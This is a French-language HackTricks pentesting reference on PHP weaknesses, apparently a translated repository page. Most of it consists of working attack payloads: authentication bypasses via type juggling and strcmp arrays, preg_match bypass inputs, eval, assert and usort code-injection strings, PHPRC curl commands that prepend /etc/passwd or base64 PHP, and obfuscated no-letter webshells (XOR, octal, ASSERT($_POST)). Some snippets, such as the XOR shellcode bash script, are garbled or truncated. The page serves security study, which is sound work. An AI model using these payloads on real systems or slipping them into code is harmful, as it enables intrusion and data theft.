hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2023-12-31 02:59:41 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated to French 2023-06-03 13:10:46 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to French 2023-06-03 13:10:46 +00:00
php-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:59:41 +00:00

Astuces PHP

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Emplacement commun des cookies :

Cela est également valable pour les cookies de phpMyAdmin.

Cookies :

PHPSESSID
phpMyAdmin

Emplacements :

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contournement des comparaisons PHP

Comparaisons lâches / Jonglage de types ( == )

Si == est utilisé en PHP, alors il y a des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" ne compare que les valeurs transformées dans le même type, si vous voulez également comparer que le type des données comparées est le même, vous devez utiliser ===.

Tables de comparaison PHP : https://www.php.net/manual/fr/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Une chaîne qui ne commence pas par un nombre est égale à un nombre
  • "0xAAAA" == "43690" -> True Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec True comme résultat si les nombres sont les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
  • "0e3264578" == 0 --> True Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
  • "0X3264578" == 0X --> True Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
  • "0e12334" == "0" --> True C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et de certains contenus qui sont hachés et comparés à celle-ci. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici : https://github.com/spaze/hashes
  • "X" == 0 --> True Toute lettre dans une chaîne est égale à int 0

Plus d'infos sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Le Jonglage de types affecte également la fonction in_array() par défaut (vous devez définir le troisième argument sur true pour effectuer une comparaison stricte) :

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si cette fonction est utilisée pour toute vérification d'authentification (comme la vérification du mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d'une chaîne comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vérification :

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

La même erreur se produit avec strcasecmp()

Jonglage de type strict

Même si === est utilisé, il pourrait y avoir des erreurs qui rendent la comparaison vulnérable au jonglage de type. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de comparer :

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() peut être utilisé pour valider les entrées utilisateur (il vérifie si un mot/regex d'une liste noire est présent dans l'entrée utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).

Contournement par nouvelle ligne

Cependant, lorsque le début de l'expression régulière est délimité, preg_match() vérifie uniquement la première ligne de l'entrée utilisateur, donc si d'une manière ou d'une autre vous pouvez envoyer l'entrée sur plusieurs lignes, vous pourriez contourner cette vérification. Exemple :

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Pour contourner cette vérification, vous pourriez envoyer la valeur avec des sauts de ligne encodés en URL (%0A) ou si vous pouvez envoyer des données JSON, envoyez-les en plusieurs lignes :

{
"cmd": "cat /etc/passwd"
}

Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice

Contournement d'erreur de longueur

(Ce contournement a été essayé apparemment sur PHP 5.2.5 et je n'ai pas pu le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match() une entrée valide très grande, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, si elle met en liste noire un JSON, vous pourriez envoyer :

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Contournement ReDoS

En résumé, le problème survient parce que les fonctions preg_* en PHP sont basées sur la bibliothèque PCRE. Dans PCRE, certaines expressions régulières sont appariées en utilisant beaucoup d'appels récursifs, ce qui consomme beaucoup d'espace de pile. Il est possible de définir une limite au nombre de récursions autorisées, mais en PHP cette limite est par défaut de 100.000, ce qui est plus que ce qui peut tenir dans la pile.

Cette discussion sur Stackoverflow a également été liée dans l'article où le problème est discuté plus en détail. Notre tâche était désormais claire :
Envoyer une entrée qui ferait que l'expression régulière fasse 100_000+ récursions, provoquant un SIGSEGV, amenant la fonction preg_match() à retourner false, ce qui fait que l'application pense que notre entrée n'est pas malveillante, en lançant la surprise à la fin du payload quelque chose comme {system(<verybadcommand>)} pour obtenir SSTI --> RCE --> drapeau :).

Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais plutôt nous comptons les "étapes de retour en arrière", qui, comme le stipule la documentation PHP, est par défaut de 1_000_000 (1M) dans la variable pcre.backtrack_limit.
Pour atteindre cela, 'X'*500_001 résultera en 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Utilisation de Type Juggling pour l'obfuscation PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Exécution Après Redirection (EAR)

Si PHP redirige vers une autre page mais qu'aucune fonction die ou exit n'est appelée après que l'en-tête Location soit défini, PHP continue l'exécution et ajoute des données au corps :

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Plus de trucs

  • register_globals : Dans PHP < 4.1.1.1 ou s'il est mal configuré, register_globals peut être actif (ou leur comportement est imité). Cela implique que dans des variables globales comme $_GET si elles ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via $param. Ainsi, en envoyant des paramètres HTTP, vous pouvez écraser des variables qui sont utilisées dans le code.
  • Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins, vous pouvez faire en sorte qu'un chemin accède au cookie de l'autre chemin en définissant la valeur du cookie de l'autre chemin.
    De cette façon, si les deux chemins accèdent à une variable du même nom, vous pouvez faire en sorte que la valeur de cette variable dans le chemin1 s'applique au chemin2. Et alors le chemin2 prendra comme valides les variables du chemin1 (en donnant au cookie le nom qui lui correspond dans le chemin2).
  • Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse : /~<NOMDUTILISATEUR> pour voir si les répertoires php sont activés.
  • LFI et RCE en utilisant les wrappers php

password_hash/password_verify

Ces fonctions sont typiquement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage.
Les algorithmes pris en charge sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT est souvent le même que PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limitation de taille sur l'entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72B seront utilisés :

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Contournement des en-têtes HTTP en abusant des erreurs PHP

Si une page PHP affiche des erreurs et renvoie certaines entrées fournies par l'utilisateur, l'utilisateur peut amener le serveur PHP à renvoyer un contenu suffisamment long pour que, lorsqu'il tente d'ajouter les en-têtes à la réponse, le serveur génère une erreur.
Dans le scénario suivant, l'attaquant a provoqué de grosses erreurs sur le serveur, et comme vous pouvez le voir sur l'écran, lorsque PHP a tenté de modifier les informations d'en-tête, il n'a pas pu (donc par exemple l'en-tête CSP n'a pas été envoyé à l'utilisateur) :

Exécution de code

system("ls");
`ls`;
shell_exec("ls");

Consultez ceci pour plus de fonctions PHP utiles

Exécution de code à distance via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Pour exécuter le code dans l'argument "replace", au moins une correspondance est nécessaire. Cette option de preg_replace a été obsolète à partir de PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Cette fonction dans php vous permet d'exécuter du code qui est écrit dans une chaîne de caractères afin de retourner vrai ou faux (et en fonction de cela modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple :
assert("strpos($_GET['page']),'..') === false") --> Dans ce cas, pour obtenir un RCE, vous pourriez faire :

?page=a','NeVeR') === false and system('ls') and strpos('a

Vous devrez casser la syntaxe du code, ajouter votre charge utile, puis la réparer. Vous pouvez utiliser des opérations logiques telles que "and" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.

Une autre option est d'ajouter à la chaîne l'exécution de la commande : '.highlight_file('.passwd').'

Une autre option (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : $file = "hola"

RCE via usort()

Cette fonction est utilisée pour trier un tableau d'éléments en utilisant une fonction spécifique.
Pour abuser de cette fonction :

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Vous pouvez également utiliser // pour commenter le reste du code.

Pour découvrir le nombre de parenthèses que vous devez fermer :

  • ?order=id;}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ';'). Il nous manque probablement une ou plusieurs accolades.
  • ?order=id);}// : nous obtenons un avertissement. Cela semble correct.
  • ?order=id));}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ')' i). Nous avons probablement trop de parenthèses fermantes.

RCE via .httaccess

Si vous pouvez téléverser un .htaccess, alors vous pouvez configurer plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être exécutés).

Différents shells .htaccess peuvent être trouvés ici

RCE via Variables d'Environnement

Si vous trouvez une vulnérabilité qui vous permet de modifier les variables d'environnement en PHP (et une autre pour téléverser des fichiers, bien que avec plus de recherche cela puisse être contourné), vous pourriez abuser de ce comportement pour obtenir un RCE.

  • LD_PRELOAD : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela pourrait ne pas fonctionner).
  • PHPRC : Indique à PHP où localiser son fichier de configuration, généralement appelé php.ini. Si vous pouvez téléverser votre propre fichier de configuration, utilisez alors PHPRC pour diriger PHP vers celui-ci. Ajoutez une entrée auto_prepend_file spécifiant un second fichier téléversé. Ce second fichier contient du code PHP normal, qui est ensuite exécuté par le runtime PHP avant tout autre code.
  1. Téléversez un fichier PHP contenant notre shellcode
  2. Téléversez un second fichier, contenant une directive auto_prepend_file instruisant le préprocesseur PHP à exécuter le fichier que nous avons téléversé à l'étape 1
  3. Définissez la variable PHPRC sur le fichier que nous avons téléversé à l'étape 2.
  • Obtenez plus d'informations sur comment exécuter cette chaîne depuis le rapport original.
  • PHPRC - une autre option
  • Si vous ne pouvez pas téléverser de fichiers, vous pourriez utiliser dans FreeBSD le fichier /dev/fd/0 qui contient le stdin, étant le corps de la requête envoyée au stdin :
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ou pour obtenir un RCE, activez allow_url_include et préfixez un fichier avec du code PHP en base64 :
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique de ce rapport.

Analyse Statique PHP

Regardez si vous pouvez insérer du code dans les appels à ces fonctions (de ici) :

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si vous déboguez une application PHP, vous pouvez activer globalement l'affichage des erreurs dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer apache : sudo systemctl restart apache2

Déobfuscation de code PHP

Vous pouvez utiliser le web www.unphp.net pour déobfusquer du code php.

Wrappers & Protocoles PHP

Les wrappers et protocoles PHP pourraient vous permettre de contourner les protections en écriture et en lecture dans un système et de le compromettre. Pour plus d'informations, consultez cette page.

Xdebug RCE non authentifié

Si vous voyez que Xdebug est activé dans un résultat de phpconfig(), vous devriez essayer d'obtenir un RCE via https://github.com/nqxcode/xdebug-exploit

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE en abusant de new $_GET["a"]($_GET["b"])

Si sur une page vous pouvez créer un nouvel objet d'une classe arbitraire, vous pourriez être capable d'obtenir un RCE. Consultez la page suivante pour apprendre comment :

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Exécuter PHP sans lettres

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilisation de l'octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Code shell XOR facile

Selon ce compte-rendu, il est possible de générer un code shell XOR facile de cette manière :

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme celle qui suit en abusant de ce payload pour exécuter du PHP arbitraire :

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (à l'intérieur de eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Comme Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :